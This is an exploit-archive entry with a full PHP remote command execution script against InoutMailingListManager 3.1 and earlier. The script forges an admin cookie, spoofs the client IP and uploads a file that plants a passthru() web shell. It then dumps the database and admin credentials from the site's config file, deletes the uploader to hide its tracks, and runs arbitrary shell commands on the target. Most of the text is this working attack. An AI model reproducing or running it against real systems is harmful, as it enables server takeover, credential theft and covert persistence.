InoutMailingListManager <= 3.1 Remote Command Execution Exploit

2007-04-10T00:00:00
ID 1337DAY-ID-1732
Type zdt
Reporter BlackHawk
Modified 2007-04-10T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===============================================================
InoutMailingListManager <= 3.1 Remote Command Execution Exploit
===============================================================



#!/usr/bin/php -q -d short_open_tag=on
<?
echo "
InoutMailingListManager <= 3.1 Command Execution Exploit + Login Retrieve + Advisory
Thanks to rgod for the php code and Marty for the Love
";
if ($argc<4) {
echo "Usage: php ".$argv[0]." Site CMD
Host:          target server (ip/hostname)
Path:          path of phpMyNewsletter
CMD:           a shell command
Example:
php ".$argv[0]." localhost /inout/ cat /etc/password";

die;
}

/*
Multiple Vuln can be found in this NewsLetter Script.

I) FCKEditor Vuln

This script uses an old version of FCKEditor, so you can upload arbitrary file with:

[dir]\FCKeditor\editor\filemanager\browser\default\connectors\php\connector.php

(See rgod exploits for more info on it)


II) Login-Bypass

This is the code to check admin rights:

if(!isset($_COOKIE['admin']))
{
header("Location:index.php");
}

1st: everyone can create a cookie named 'admin'
2nd: you neither have to do it, because the script doesn't die after the check..

This exploit Uses this vuln to create the shell.
With Admin rights try to upload a PHP attachment, run it to retrieve config.inc.php and
create a piggy_marty.php file. After that the script delete the uploaded attachment to leave
no trace.

III) SQL Injections

There are SQL Injections EVERYWERE!

one 4 all, changename.php:

$result=mysql_query("select value from ".$tableprefix."ea_extraparam where eid=$id");



BlackHawk <[email protected]>
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
$cmd="";
for ($i=3; $i<=$argc-1; $i++){
$cmd.=" ".$argv[$i];
}
$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "Step 0 - Check if piggy_marty.php already exist..\r\n";
$packet ="GET ".$p."attachments/696969/piggy_marty.php?cmd=$cmd HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"666999"))
{
  echo "Exploit succeeded...\r\n";
  $temp=explode("666999",$html);
  die("\r\n".$temp[1]."\r\n");
}

echo "Step1 - Create a dir for the exploit\r\n";
$packet="GET ".$p."attach.php?id=696969 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
sleep(3);
echo "Step2 - Upload The exploit Creator & Config Disclosure\r\n";
$data="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"file\"; filename=\"piggy_marty_creator.php\"\r\n";
$data.="Content-Type:\r\n\r\n";
$data.="<?php
\$fp=fopen('piggy_marty.php','w');
fputs(\$fp,'<?php error_reporting(0);
set_time_limit(0);
if (get_magic_quotes_gpc()) {
\$_GET[cmd]=stripslashes(\$_GET[cmd]);
}
echo 666999;
passthru(\$_GET[cmd]);
echo 666999;
?>');
fclose(\$fp);
chmod('piggy_marty.php',777);
include '../../config.inc.php';
echo 'delimitator'.\$mysql_server.'|'.\$mysql_username.'|'.\$mysql_password.'|'.\$mysql_dbname.'|'.\$username.'|'.\$password;
?>\r\n";
$data.="-----------------------------7d529a1d23092a--\r\n";
$packet="POST ".$p."attachfiles.php?id=696969 HTTP/1.0\r\n";
$packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";
$packet.="Referer: http://".$host.$path."/example.html\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: admin=BlackHawk\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(3);
echo "Step3 - Create The Shell and Retrieve Login Information\r\n";
$packet="GET ".$p."attachments/696969/piggy_marty_creator.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode('delimitator',$html);
list($myserver,$myusername,$mypassword,$mydbname,$lgnusername,$lgnpassword)=explode('|',$temp[1]);
echo "

--- INFO FROM CONFIG.INC.PHP ---

MySQL Server: $myserver
MySQL Username: $myusername
MySQL Password: $mypassword
MySQL Database: $mydbname

Login: $lgnusername
Password: $lgnpassword

--- END INFO ---

";
echo "Step4 - Remove Shell Creator\r\n";
$packet="GET ".$p."attach.php?id=696969 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode('piggy_marty_creator.php&nbps;&nbps;&nbps; <a href="removeattach.php?id=',$html);
$id=explode('&cid=696969',$temp[1]);
$packet="GET ".$p."removeattach.php?cid=696969&id=".$id[0]." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);

echo "Step 5 - Check if piggy_marty.php already exist..\r\n";
$packet ="GET ".$p."attachments/696969/piggy_marty.php?cmd=$cmd HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"666999"))
{
  echo "Exploit succeeded...\r\n";
  $temp=explode("666999",$html);
  die("\r\n".$temp[1]."\r\n");
}
?>



#  0day.today [2018-04-01]  #